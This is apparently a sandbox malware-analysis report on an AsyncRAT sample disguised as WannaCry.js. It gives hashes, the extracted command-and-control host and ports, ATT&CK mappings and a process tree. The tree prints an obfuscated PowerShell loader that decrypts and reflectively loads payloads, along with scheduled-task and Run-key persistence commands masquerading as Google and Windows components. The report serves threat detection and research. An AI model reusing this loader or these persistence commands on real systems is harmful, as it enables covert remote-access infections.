asyncrat | 5311a5cdd30e10700ce2a5185568f810d4b36c5ed43e95ba849c70ea6d795712

Analysis

max time kernel
58s
max time network
43s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/08/2026, 16:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WannaCry.js
Size 365KB
Sample260814-tvpegsem9v
SHA256 5311a5cdd30e10700ce2a5185568f810d4b36c5ed43e95ba849c70ea6d795712
MD5 5b1170e4b320de3b44d2118b617611f7
SHA1 d1f43e8ed098b117f595e1bc83b6c537373f8b6f
SHA512 80be93679d8f655b4470c1f75d66fa27c3036ae4e03db7f07d3bf509dfb33c80389c3778715e6540d7729ac11781e3aad8e3353643055923c057c0302a4fc89c
SSDEEP 6144:SLta9mkQhHKT+YZk5wZzWXu0MgGsmZR0xUe93eIHRFCaJvSfmqpI/VoUt/ex+m+:SLtaYkQhHKyYZk5wZzWXu0MgGsmZR0xj
TLSH
T19F84F88CA835EC425205E71E7699BC2905704783DDDBF6EF20BC93ED09E3274A9ED885
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

fu88official.com defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

fu88official.com

fu88official.com:80
fu88official.com:8080
fu88official.com:443
fu88official.com:8443
fu88official.com:6606
fu88official.com:22

Mutex

NwzZuxDr6mOe

Attributes

delay
3
install
true
install_file
GoogleUpdate.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/5764-54-0x0000000007ED0000-0x0000000007EE2000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1668	powershell.exe
1152	powershell.exe
5764	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows_SettingsManager = "wscript.exe \"C:\\ProgramData\\acwin_manager\\windows_systemManager.vbs\""	reg.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
6072	WScript.exe
3008	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3956	cmd.exe
2828	cmd.exe
5544	cmd.exe
5128	cmd.exe
3232	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4956	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1064	schtasks.exe
2984	schtasks.exe
4596	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1668	powershell.exe
1668	powershell.exe
1152	powershell.exe
1152	powershell.exe
5764	powershell.exe
5764	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeIncreaseQuotaPrivilege	1152	powershell.exe
Token: SeSecurityPrivilege	1152	powershell.exe
Token: SeTakeOwnershipPrivilege	1152	powershell.exe
Token: SeLoadDriverPrivilege	1152	powershell.exe
Token: SeSystemProfilePrivilege	1152	powershell.exe
Token: SeSystemtimePrivilege	1152	powershell.exe
Token: SeProfSingleProcessPrivilege	1152	powershell.exe
Token: SeIncBasePriorityPrivilege	1152	powershell.exe
Token: SeCreatePagefilePrivilege	1152	powershell.exe
Token: SeBackupPrivilege	1152	powershell.exe
Token: SeRestorePrivilege	1152	powershell.exe
Token: SeShutdownPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeSystemEnvironmentPrivilege	1152	powershell.exe
Token: SeRemoteShutdownPrivilege	1152	powershell.exe
Token: SeUndockPrivilege	1152	powershell.exe
Token: SeManageVolumePrivilege	1152	powershell.exe
Token: 33	1152	powershell.exe
Token: 34	1152	powershell.exe
Token: 35	1152	powershell.exe
Token: 36	1152	powershell.exe
Token: SeIncreaseQuotaPrivilege	1152	powershell.exe
Token: SeSecurityPrivilege	1152	powershell.exe
Token: SeTakeOwnershipPrivilege	1152	powershell.exe
Token: SeLoadDriverPrivilege	1152	powershell.exe
Token: SeSystemProfilePrivilege	1152	powershell.exe
Token: SeSystemtimePrivilege	1152	powershell.exe
Token: SeProfSingleProcessPrivilege	1152	powershell.exe
Token: SeIncBasePriorityPrivilege	1152	powershell.exe
Token: SeCreatePagefilePrivilege	1152	powershell.exe
Token: SeBackupPrivilege	1152	powershell.exe
Token: SeRestorePrivilege	1152	powershell.exe
Token: SeShutdownPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeSystemEnvironmentPrivilege	1152	powershell.exe
Token: SeRemoteShutdownPrivilege	1152	powershell.exe
Token: SeUndockPrivilege	1152	powershell.exe
Token: SeManageVolumePrivilege	1152	powershell.exe
Token: 33	1152	powershell.exe
Token: 34	1152	powershell.exe
Token: 35	1152	powershell.exe
Token: 36	1152	powershell.exe
Token: SeIncreaseQuotaPrivilege	1152	powershell.exe
Token: SeSecurityPrivilege	1152	powershell.exe
Token: SeTakeOwnershipPrivilege	1152	powershell.exe
Token: SeLoadDriverPrivilege	1152	powershell.exe
Token: SeSystemProfilePrivilege	1152	powershell.exe
Token: SeSystemtimePrivilege	1152	powershell.exe
Token: SeProfSingleProcessPrivilege	1152	powershell.exe
Token: SeIncBasePriorityPrivilege	1152	powershell.exe
Token: SeCreatePagefilePrivilege	1152	powershell.exe
Token: SeBackupPrivilege	1152	powershell.exe
Token: SeRestorePrivilege	1152	powershell.exe
Token: SeShutdownPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeSystemEnvironmentPrivilege	1152	powershell.exe
Token: SeRemoteShutdownPrivilege	1152	powershell.exe
Token: SeUndockPrivilege	1152	powershell.exe
Token: SeManageVolumePrivilege	1152	powershell.exe
Token: 33	1152	powershell.exe
Token: 34	1152	powershell.exe
Token: 35	1152	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 5532 wrote to memory of 3956	5532	wscript.exe	89
PID 3956 wrote to memory of 4736	3956	cmd.exe	91
PID 4736 wrote to memory of 1224	4736	net.exe	92
PID 3956 wrote to memory of 5488	3956	cmd.exe	93
PID 3956 wrote to memory of 1668	3956	cmd.exe	94
PID 1668 wrote to memory of 1152	1668	powershell.exe	95
PID 1668 wrote to memory of 6072	1668	powershell.exe	98
PID 6072 wrote to memory of 2828	6072	WScript.exe	99
PID 2828 wrote to memory of 4852	2828	cmd.exe	101
PID 4852 wrote to memory of 3768	4852	net.exe	102
PID 2828 wrote to memory of 4488	2828	cmd.exe	103
PID 2828 wrote to memory of 5764	2828	cmd.exe	104
PID 3956 wrote to memory of 1064	3956	cmd.exe	105
PID 3956 wrote to memory of 5192	3956	cmd.exe	107
PID 3008 wrote to memory of 5544	3008	WScript.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\WannaCry.js
1⤵
- Suspicious use of WriteProcessMemory
PID:5532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BUP.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4736
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:1224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KEzLHpmbSeXSbzc3eFv6nwJq6Uhskfjbl6efGE1nWr0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VEAhGQdBAR+ntOFdDlxgg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NJsRurXziIJnqEOvNbksKZkVk=New-Object System.IO.MemoryStream(,$param_var); $UKzGRvaHbjSbMZQvvgKYBwZGJ=New-Object System.IO.MemoryStream; $MmVLuOzxHzHyTqnIGovVuactW=New-Object System.IO.Compression.GZipStream($NJsRurXziIJnqEOvNbksKZkVk, [IO.Compression.CompressionMode]::Decompress); $MmVLuOzxHzHyTqnIGovVuactW.CopyTo($UKzGRvaHbjSbMZQvvgKYBwZGJ); $MmVLuOzxHzHyTqnIGovVuactW.Dispose(); $NJsRurXziIJnqEOvNbksKZkVk.Dispose(); $UKzGRvaHbjSbMZQvvgKYBwZGJ.Dispose(); $UKzGRvaHbjSbMZQvvgKYBwZGJ.ToArray();}function execute_function($param_var,$param2_var){ $oSAXIyLSWfjfWGutDfAjXCQxp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VhDLoLjCOgWYzYaVFWkdDJIbC=$oSAXIyLSWfjfWGutDfAjXCQxp.EntryPoint; $VhDLoLjCOgWYzYaVFWkdDJIbC.Invoke($null, $param2_var);}$IWwvUozGSbCAHLwdAXEVcxQIK = 'C:\Users\Admin\AppData\Local\Temp\BUP.bat';$host.UI.RawUI.WindowTitle = $IWwvUozGSbCAHLwdAXEVcxQIK;$wzpAggLRiWLbnbNTvGGisFARY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IWwvUozGSbCAHLwdAXEVcxQIK).Split([Environment]::NewLine);foreach ($GRkzrQZxBqPrvsLFnDDZIpULr in $wzpAggLRiWLbnbNTvGGisFARY) { if ($GRkzrQZxBqPrvsLFnDDZIpULr.StartsWith('AgPUsIKoJCqhEoUfXCoO')) { $PquvPkfOKyOkgLVRJyPKbmWQc=$GRkzrQZxBqPrvsLFnDDZIpULr.Substring(20); break; }}$payloads_var=[string[]]$PquvPkfOKyOkgLVRJyPKbmWQc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:5488
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1668
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_659_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_659.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1152
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_659.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6072
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_659.bat" "
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2828
      - C:\Windows\SysWOW64\net.exe
        
        net file
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4852
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 file
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3768
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KEzLHpmbSeXSbzc3eFv6nwJq6Uhskfjbl6efGE1nWr0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VEAhGQdBAR+ntOFdDlxgg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NJsRurXziIJnqEOvNbksKZkVk=New-Object System.IO.MemoryStream(,$param_var); $UKzGRvaHbjSbMZQvvgKYBwZGJ=New-Object System.IO.MemoryStream; $MmVLuOzxHzHyTqnIGovVuactW=New-Object System.IO.Compression.GZipStream($NJsRurXziIJnqEOvNbksKZkVk, [IO.Compression.CompressionMode]::Decompress); $MmVLuOzxHzHyTqnIGovVuactW.CopyTo($UKzGRvaHbjSbMZQvvgKYBwZGJ); $MmVLuOzxHzHyTqnIGovVuactW.Dispose(); $NJsRurXziIJnqEOvNbksKZkVk.Dispose(); $UKzGRvaHbjSbMZQvvgKYBwZGJ.Dispose(); $UKzGRvaHbjSbMZQvvgKYBwZGJ.ToArray();}function execute_function($param_var,$param2_var){ $oSAXIyLSWfjfWGutDfAjXCQxp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VhDLoLjCOgWYzYaVFWkdDJIbC=$oSAXIyLSWfjfWGutDfAjXCQxp.EntryPoint; $VhDLoLjCOgWYzYaVFWkdDJIbC.Invoke($null, $param2_var);}$IWwvUozGSbCAHLwdAXEVcxQIK = 'C:\Users\Admin\AppData\Roaming\Windows_Log_659.bat';$host.UI.RawUI.WindowTitle = $IWwvUozGSbCAHLwdAXEVcxQIK;$wzpAggLRiWLbnbNTvGGisFARY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IWwvUozGSbCAHLwdAXEVcxQIK).Split([Environment]::NewLine);foreach ($GRkzrQZxBqPrvsLFnDDZIpULr in $wzpAggLRiWLbnbNTvGGisFARY) { if ($GRkzrQZxBqPrvsLFnDDZIpULr.StartsWith('AgPUsIKoJCqhEoUfXCoO')) { $PquvPkfOKyOkgLVRJyPKbmWQc=$GRkzrQZxBqPrvsLFnDDZIpULr.Substring(20); break; }}$payloads_var=[string[]]$PquvPkfOKyOkgLVRJyPKbmWQc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4488
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5764
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdate" /tr '"C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe"' & exit
        7⤵
        Executes a command shell one-liner
        
        PID:5128
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdate" /tr '"C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe"'
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2984
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF652.tmp.bat""
        7⤵
        Executes a command shell one-liner
        
        PID:3232
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        8⤵
        Delays execution with timeout.exe
        
        PID:4956
        
        C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe
        
        "C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe"
        8⤵
        
        PID:2644
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4596
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
        6⤵
        
        PID:1580
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1064
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
    3⤵
    - Adds Run key to start application
    PID:5192

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\acwin_manager\windows_systemManager.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\acwin_manager\ProcessManager.bat"
  2⤵
  - Executes a command shell one-liner
  PID:5544

C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe
"C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe"
1⤵
PID:4332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

windows_systemManager.vbs

Path C:\ProgramData\acwin_manager\windows_systemManager.vbs
Size 133B
SHA256 14c22c0034b1124b05e433dc8c3e910639d9d0f4a83ac60c756b96eee3c23e2a
MD5 a2357033b0d440a11a314e287629b547
SHA1 b588ec60f3a43bfd4c4fac5aca003f7f576cf6db
SHA512 b09abf3aa420784c587259502869f6fcdef7238ff5295b30b9a26abb66651b959468159ef5a93d51ae394957d7ecd06589af9685047014db2076733d026db85e
TLSH
T142C09B11562EA559285FF0D5273044158ED1EF1925B15937875CC92F962B6D11317006
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 19KB
SHA256 9f604f6f568a6de4c813094e70b7699c442e5280477b1a02065f4840d181ec6a
MD5 95651f91335ebf6be7f8f9416988ebde
SHA1 e9fe70032cfa32a00c759009e5343740b411f887
SHA512 84cf1645fb3e4ce37b68bc5475a8b8df6cfb2e4e2e20921ab211274d6e752bda3d042e1be921d9ef85f9fe89a42f5a9d624a31629aa8f8057a3dc05de3f75cdc
SSDEEP 384:Z1TBa1sH+1iCy4b2ZY2kUX07+geCOr2PntIArlZM4S9LXeqWBcRRx5oclFJy7dOf:DTEsHKPraWDUX6+N6FIArTMpbeXcrx75
TLSH
T1DB92B568213F6DC7D892127450D602F7FBE4E049DA755498FE2BCB2F5C90EBB4B61620
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 20KB
SHA256 b175f42000794034bd3ecdf9f623fa26ac75adf214711b385d6a579179c3fb78
MD5 5498fe9456d93e26ab7771fdd005e2b3
SHA1 3c8c09f326083a18a4531cd443f6fc183df27503
SHA512 4e06845eebcaebbc0373713d7be84091e1a477518a8c9f2b7e9524836921d0d93de855bc1463dbc7175baf72dab1483c0ebb4d800d9be0bb140ffd699af8f8af
SSDEEP 384:D1TBu1sH+1i1gX+QwRe+eeC+r20sOEkMzdCnlT23M62kqfI2ZL8/rVS+yAnq9NM5:RTosHK82+Qws+L6XNZCnN23M6mfXk5bt
TLSH
T17692F81C26FF5CCBD8A021B510C14397EBE8D0A8976586DBEE5FCA1F2841A7D6B501F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BUP.bat

Path C:\Users\Admin\AppData\Local\Temp\BUP.bat
Size 157KB
SHA256 caf93e1e2485451e88a52405d80980d8d1350c965913e0a061fb1b683ab0ee9d
MD5 5bb90909acd04747ba90bf2151be39f4
SHA1 936d0b842f21c65bafc1af05f9221e8bef51718f
SHA512 038943b0ea3cc08dd1154e8c9902f753d3cb8e5073be5ce0d04af0ae9b944fd72aab63a1727b771d5393ae1268cf2d73a1e5c4ac7c0c268107858d684c280a31
SSDEEP 1536:c3yuB1XgYDYxsArCh4N5bVRAmdRO8z7qJ1ANJaFT5R8QiUi0B:c3YoYnV5xuB314YFlWQTi0B
TLSH
T18EF3AE7797E1FE5443683DEAA0448D761042E9662E35ECCE54E28240D1FFC08AB7E6D7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_3lkgva4a.hcx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3lkgva4a.hcx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmpF652.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpF652.tmp.bat
Size 156B
SHA256 770b780a9bffe851a4f264740d1fcd93858df7c6c936ef175b22c6ac6c41615d
MD5 361933940a1b62bc53dbc0bc4cda789d
SHA1 4a78372ca2077eebf1b5800835e57a8d80394dc6
SHA512 5111cbc613ff231f37c3e64b0aede53a574e11aa7303a8bcf549d8fb4d61a5e952c2f0e64514a72a0e76b27c9cf057a9246283f6d85387718857b5af7d76a7c7
TLSH
T12BC08C9365C9EA1E2805A81717BAD48DA1AA68593E44BB409344441922C0888E4E9282
MD5 SHA1 SHA512 TLSH

Submit Download

GoogleUpdate.exe

Path C:\Users\Admin\AppData\Roaming\GoogleUpdate.exe
Size 414KB
SHA256 6a73f3dda06163bb6253e4f82a283e184d70755c067633c4190fbff64f0baecd
MD5 a2ba1d8a59865a40e87bdf93843e930c
SHA1 88bc845611142a874954db653f0918e126fbffaa
SHA512 361dae6384862eb5083830255470bba2d301aef2180cf6c553cccf45596eb7c9b0b4bfb064517e89905dadf778775b81ab171834c0dd9d4ee6a955881ee5fd52
SSDEEP 6144:mnv3d7L25WwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:mvxwW2KXzJ4pdd3klnnWosPhnzq
TLSH
T149947C93ABC44291EC7EC435DC3B45620622BCBDDB9057D799CCF67909702C09A3EA6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Windows_Log_659.vbs

Path C:\Users\Admin\AppData\Roaming\Windows_Log_659.vbs
Size 115B
SHA256 d7bc729181630915649b5186ce81687fb40040b4c6b4a40f664dc6041566efda
MD5 344a714505c9285a7ea7804246b8430b
SHA1 2540bdb178ef3070dae4c194addbd0aaa5c2fd7d
SHA512 58fc6b8851c4e6d2e1e7292ef5a205ecc1a25d287bd5d3986e9eaf9ba2a8cacc86fb6bc74c2b78e9659d0ffb297b840a86f77c4388c57f217463de88573b8706
TLSH
T189B092252089898AA9156AA30776840C86A086512588A7A5CA00C5AD24B4514B58A183
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1152-37-0x0000000007EC0000-0x0000000007ED1000-memory.dmp

Download

memory/1152-36-0x0000000007F20000-0x0000000007FB6000-memory.dmp

Download

memory/1152-29-0x0000000007AF0000-0x0000000007B26000-memory.dmp

Download

memory/1152-35-0x0000000007D20000-0x0000000007D2A000-memory.dmp

Download

memory/1152-34-0x0000000007B80000-0x0000000007C23000-memory.dmp

Download

memory/1152-30-0x0000000070580000-0x00000000705CC000-memory.dmp

Download

memory/1152-33-0x0000000007B30000-0x0000000007B50000-memory.dmp

Download

memory/1668-17-0x0000000005EE0000-0x000000000623B000-memory.dmp

Download

memory/1668-12-0x00000000056A0000-0x0000000005706000-memory.dmp

Download

memory/1668-25-0x0000000008A60000-0x000000000901A000-memory.dmp

Download

memory/1668-23-0x0000000007800000-0x0000000007808000-memory.dmp

Download

memory/1668-22-0x00000000077D0000-0x00000000077EA000-memory.dmp

Download

memory/1668-21-0x0000000007E20000-0x000000000849C000-memory.dmp

Download

memory/1668-20-0x0000000006870000-0x00000000068B8000-memory.dmp

Download

memory/1668-19-0x00000000066F0000-0x000000000673C000-memory.dmp

Download

memory/1668-18-0x0000000006400000-0x000000000641E000-memory.dmp

Download

memory/1668-13-0x0000000005710000-0x0000000005776000-memory.dmp

Download

memory/1668-14-0x0000000074330000-0x0000000074AEC000-memory.dmp

Download

memory/1668-24-0x0000000007850000-0x0000000007860000-memory.dmp

Download

memory/1668-46-0x0000000074342000-0x0000000074343000-memory.dmp

Download

memory/1668-47-0x0000000074330000-0x0000000074AEC000-memory.dmp

Download

memory/1668-11-0x0000000005600000-0x0000000005622000-memory.dmp

Download

memory/1668-51-0x0000000074330000-0x0000000074AEC000-memory.dmp

Download

memory/1668-7-0x0000000074342000-0x0000000074343000-memory.dmp

Download

memory/1668-9-0x0000000005780000-0x0000000005DCA000-memory.dmp

Download

memory/1668-8-0x0000000002FF0000-0x0000000003026000-memory.dmp

Download

